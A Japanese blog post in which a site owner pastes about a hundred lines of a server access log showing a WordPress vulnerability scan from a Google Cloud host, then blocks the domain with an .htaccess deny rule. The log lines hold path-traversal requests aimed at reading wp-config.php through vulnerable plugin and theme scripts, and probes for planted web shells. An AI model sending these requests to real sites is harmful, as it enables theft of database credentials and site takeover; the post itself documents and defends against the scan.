今朝、サーバーのログをチェックしてみると、以下のような意味不明のアクセスが記録されていました。
573 [28/Aug/2016:08:10:03] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/admin-ajax.php HTTP/1.1" 404 1041 "-" 574 [28/Aug/2016:08:10:09] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 404 1041 "-" 575 [28/Aug/2016:08:10:12] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php HTTP/1.1" 404 1041 "-" 576 [28/Aug/2016:08:10:15] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 577 [28/Aug/2016:08:10:15] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin-ajax.php HTTP/1.1" 301 - "-" 578 [28/Aug/2016:08:10:19] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/TheLoft/download.php?file=../../../wp-config.php HTTP/1.1" 404 1041 "-" 579 [28/Aug/2016:08:10:19] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/admin-ajax.php HTTP/1.1" 404 50755 "-" 580 [28/Aug/2016:08:10:22] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php HTTP/1.1" 404 1041 "-" 581 [28/Aug/2016:08:10:22] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/felis/download.php?file=../wp-config.php HTTP/1.1" 404 1041 "-" 582 [28/Aug/2016:08:10:24] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 1041 "-" 583 [28/Aug/2016:08:10:25] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/epic/includes/download.php?file=wp-config.php HTTP/1.1" 404 1041 "-" 585 [28/Aug/2016:08:10:27] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 1041 "-" 586 [28/Aug/2016:08:10:28] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 1041 "-" 587 [28/Aug/2016:08:10:30] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 588 [28/Aug/2016:08:10:31] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 589 [28/Aug/2016:08:10:32] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 301 - "-" 590 [28/Aug/2016:08:10:34] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/lote27/download.php?download=../../../wp-config.php HTTP/1.1" 404 1041 "-" 591 [28/Aug/2016:08:10:34] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 404 50755 "-" 592 [28/Aug/2016:08:10:36] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 593 [28/Aug/2016:08:10:37] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 595 [28/Aug/2016:08:10:43] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php HTTP/1.1" 404 1041 "-" 596 [28/Aug/2016:08:10:44] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php HTTP/1.1" 404 1041 "-" 597 [28/Aug/2016:08:10:44] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php HTTP/1.1" 404 1041 "-" 598 [28/Aug/2016:08:10:47] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php HTTP/1.1" 404 1041 "-" 599 [28/Aug/2016:08:10:48] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php HTTP/1.1" 301 - "-" 600 [28/Aug/2016:08:10:49] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php HTTP/1.1" 404 1041 "-" 601 [28/Aug/2016:08:10:51] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/history-collection/download.php?var=../../../wp-config.php HTTP/1.1" 404 1041 "-" 602 [28/Aug/2016:08:10:51] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php HTTP/1.1" 404 50755 "-" 603 [28/Aug/2016:08:10:53] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/SMWF/inc/download.php?file=../wp-config.php HTTP/1.1" 404 1041 "-" 604 [28/Aug/2016:08:10:55] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 404 1041 "-" 605 [28/Aug/2016:08:10:55] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php HTTP/1.1" 301 - "-" 606 [28/Aug/2016:08:10:57] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/ibs-mappro/lib/download.php?file=../../../../wp-config.php HTTP/1.1" 404 1041 "-" 607 [28/Aug/2016:08:10:58] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 608 [28/Aug/2016:08:10:59] - - 123.30.154.104.bc.googleusercontent.com "GET //force-download.php?file=../wp-config.php HTTP/1.1" 404 1041 "-" 609 [28/Aug/2016:08:11:02] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr HTTP/1.1" 404 1041 "-" 610 [28/Aug/2016:08:11:03] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/TheLoft/download.php?file=../../../wp-config.php HTTP/1.1" 301 - "-" 611 [28/Aug/2016:08:11:04] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php HTTP/1.1" 404 1041 "-" 612 [28/Aug/2016:08:11:05] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php HTTP/1.1" 404 50755 "-" 613 [28/Aug/2016:08:11:07] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/markant/download.php?file=../../wp-config.php HTTP/1.1" 404 1041 "-" 614 [28/Aug/2016:08:11:08] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/index.php?up HTTP/1.1" 404 1041 "-" 615 [28/Aug/2016:08:11:08] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/yakimabait/download.php?file=./wp-config.php HTTP/1.1" 404 1041 "-" 616 [28/Aug/2016:08:11:09] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/felis/download.php?file=../wp-config.php HTTP/1.1" 301 - "-" 617 [28/Aug/2016:08:11:12] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/felis/download.php?file=../wp-config.php HTTP/1.1" 404 50755 "-" 618 [28/Aug/2016:08:11:14] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/themes/404.php?up HTTP/1.1" 404 1041 "-" 619 [28/Aug/2016:08:11:17] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/options-link.php?666 HTTP/1.1" 404 1041 "-" 620 [28/Aug/2016:08:11:19] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php HTTP/1.1" 301 - "-" 621 [28/Aug/2016:08:11:21] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-admin/includes/themes.php?666 HTTP/1.1" 404 1041 "-" 622 [28/Aug/2016:08:11:21] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php HTTP/1.1" 404 50755 "-" 623 [28/Aug/2016:08:11:24] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/revslider/temp/update_extract/revslider/2x.php?up HTTP/1.1" 404 1041 "-" 624 [28/Aug/2016:08:11:26] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 301 - "-" 625 [28/Aug/2016:08:11:28] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/2x.php?up HTTP/1.1" 404 1041 "-" 626 [28/Aug/2016:08:11:28] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 50755 "-" 627 [28/Aug/2016:08:11:31] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/revslider/temp/update_extract/revslider/version.php?666 HTTP/1.1" 404 1041 "-" 628 [28/Aug/2016:08:11:33] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/epic/includes/download.php?file=wp-config.php HTTP/1.1" 301 - "-" 629 [28/Aug/2016:08:11:35] - - 123.30.154.104.bc.googleusercontent.com "GET //wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/version.php?666 HTTP/1.1" 404 1041 "-" 630 [28/Aug/2016:08:11:35] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/epic/includes/download.php?file=wp-config.php HTTP/1.1" 404 50755 "-" 631 [28/Aug/2016:08:11:40] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 301 - "-" 632 [28/Aug/2016:08:11:41] - - 123.30.154.104.bc.googleusercontent.com "POST //wp-admin/admin-ajax.php HTTP/1.1" 404 1041 "-" 633 [28/Aug/2016:08:11:42] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 50755 "-" 634 [28/Aug/2016:08:11:49] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 301 - "-" 635 [28/Aug/2016:08:11:51] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 50755 "-" 636 [28/Aug/2016:08:11:56] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 301 - "-" 637 [28/Aug/2016:08:11:59] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 638 [28/Aug/2016:08:12:03] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 301 - "-" 639 [28/Aug/2016:08:12:05] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 640 [28/Aug/2016:08:12:09] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/lote27/download.php?download=../../../wp-config.php HTTP/1.1" 301 - "-" 641 [28/Aug/2016:08:12:11] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/lote27/download.php?download=../../../wp-config.php HTTP/1.1" 404 50755 "-" 642 [28/Aug/2016:08:12:16] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 301 - "-" 643 [28/Aug/2016:08:12:20] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 644 [28/Aug/2016:08:12:25] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php HTTP/1.1" 301 - "-" 645 [28/Aug/2016:08:12:28] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 646 [28/Aug/2016:08:12:32] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php HTTP/1.1" 301 - "-" 647 [28/Aug/2016:08:12:37] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php HTTP/1.1" 404 50755 "-" 648 [28/Aug/2016:08:12:43] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php HTTP/1.1" 301 - "-" 649 [28/Aug/2016:08:12:46] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php HTTP/1.1" 404 50755 "-" 650 [28/Aug/2016:08:12:51] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php HTTP/1.1" 301 - "-" 651 [28/Aug/2016:08:12:53] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php HTTP/1.1" 404 50755 "-" 652 [28/Aug/2016:08:12:58] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php HTTP/1.1" 301 - "-" 653 [28/Aug/2016:08:13:00] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php HTTP/1.1" 404 50755 "-" 654 [28/Aug/2016:08:13:05] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php HTTP/1.1" 301 - "-" 655 [28/Aug/2016:08:13:07] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php HTTP/1.1" 404 50755 "-" 656 [28/Aug/2016:08:13:12] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/history-collection/download.php?var=../../../wp-config.php HTTP/1.1" 301 - "-" 657 [28/Aug/2016:08:13:16] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php HTTP/1.1" 404 50755 "-" 658 [28/Aug/2016:08:13:21] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/SMWF/inc/download.php?file=../wp-config.php HTTP/1.1" 301 - "-" 659 [28/Aug/2016:08:13:23] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php HTTP/1.1" 404 50755 "-" 660 [28/Aug/2016:08:13:27] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 301 - "-" 661 [28/Aug/2016:08:13:30] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 404 50755 "-" 662 [28/Aug/2016:08:13:34] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/ibs-mappro/lib/download.php?file=../../../../wp-config.php HTTP/1.1" 301 - "-" 663 [28/Aug/2016:08:13:37] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/ibs-mappro/lib/download.php?file=../../../../wp-config.php HTTP/1.1" 404 50755 "-" 664 [28/Aug/2016:08:13:45] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//force-download.php?file=../wp-config.php HTTP/1.1" 301 - "-" 665 [28/Aug/2016:08:13:47] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/force-download.php?file=../wp-config.php HTTP/1.1" 404 50755 "-" 666 [28/Aug/2016:08:13:52] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr HTTP/1.1" 301 - "-" 667 [28/Aug/2016:08:13:55] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr HTTP/1.1" 404 50755 "-" 668 [28/Aug/2016:08:13:59] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php HTTP/1.1" 301 - "-" 669 [28/Aug/2016:08:14:01] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php HTTP/1.1" 404 50755 "-" 670 [28/Aug/2016:08:14:06] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/markant/download.php?file=../../wp-config.php HTTP/1.1" 301 - "-" 671 [28/Aug/2016:08:14:10] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/markant/download.php?file=../../wp-config.php HTTP/1.1" 404 50755 "-" 672 [28/Aug/2016:08:14:15] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/yakimabait/download.php?file=./wp-config.php HTTP/1.1" 301 - "-" 673 [28/Aug/2016:08:14:17] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/yakimabait/download.php?file=./wp-config.php HTTP/1.1" 404 50755 "-" 674 [28/Aug/2016:08:14:22] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/index.php?up HTTP/1.1" 301 - "-" 675 [28/Aug/2016:08:14:32] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/themes/404.php?up HTTP/1.1" 301 - "-" 676 [28/Aug/2016:08:14:34] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/themes/404.php?up HTTP/1.1" 404 50755 "-" 677 [28/Aug/2016:08:14:41] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/options-link.php?666 HTTP/1.1" 301 - "-" 678 [28/Aug/2016:08:14:45] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/options-link.php?666 HTTP/1.1" 404 50755 "-" 679 [28/Aug/2016:08:14:52] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/includes/themes.php?666 HTTP/1.1" 301 - "-" 680 [28/Aug/2016:08:14:55] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-admin/includes/themes.php?666 HTTP/1.1" 404 50755 "-" 681 [28/Aug/2016:08:15:01] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/revslider/temp/update_extract/revslider/2x.php?up HTTP/1.1" 301 - "-" 682 [28/Aug/2016:08:15:04] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/revslider/temp/update_extract/revslider/2x.php?up HTTP/1.1" 404 50755 "-" 683 [28/Aug/2016:08:15:10] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/2x.php?up HTTP/1.1" 301 - "-" 684 [28/Aug/2016:08:15:13] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/2x.php?up HTTP/1.1" 404 50755 "-" 685 [28/Aug/2016:08:15:27] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/revslider/temp/update_extract/revslider/version.php?666 HTTP/1.1" 301 - "-" 686 [28/Aug/2016:08:15:29] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/revslider/temp/update_extract/revslider/version.php?666 HTTP/1.1" 404 50755 "-" 687 [28/Aug/2016:08:15:37] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/version.php?666 HTTP/1.1" 301 - "-" 689 [28/Aug/2016:08:15:44] - - 123.30.154.104.bc.googleusercontent.com "GET /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range/wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/version.php?666 HTTP/1.1" 404 50755 "-" 690 [28/Aug/2016:08:15:57] - - 123.30.154.104.bc.googleusercontent.com "POST /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin-ajax.php HTTP/1.1" 404 50755 "-"
どう見ても、Webサーバーの穴を捜すためのアクセス。
しかし、googleusercontent.com って google でしょ。google がハッキングしようとしているの?
生のログを見てみても、Agent や Referrer 情報は通常ブラウザーのもの。
123.30.154.104.bc.googleusercontent.com - - [28/Aug/2016:08:15:57 +0900] "POST /notes/2016/08/21/strange-http-access-from-microsoft-ip-address-range//wp-admin/admin-ajax.php HTTP/1.1" 404 50755 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
特に、ロボット系のアクセスではないようです。
ということで、bc.googleusercontent.com 検索してみたところ、
https://groups.google.com/forum/#!topic/google-appengine/7a4VapNerGg
がみつかりました。どうも、google が行っているVMサービスのようで、(どの程度のコストが掛かるのかは知りませんが)google には所属していないユーザーが google 上に仮想ホストを持ち、google リソースを使用して、インターネットにアクセスできるようです。この google リソースを使っている奴が、何の目的が知りませんが他人のホストにうっとうしい攻撃を仕掛けて、迷惑なログを残しているというのが実際のところのようです。ドメインに google が付いていれば許されるとでも思っているんだろうか?
うざいので、.htaccess で bc.googleusercontent.com 丸ごと拒否設定。
deny from *.bc.googleusercontent.com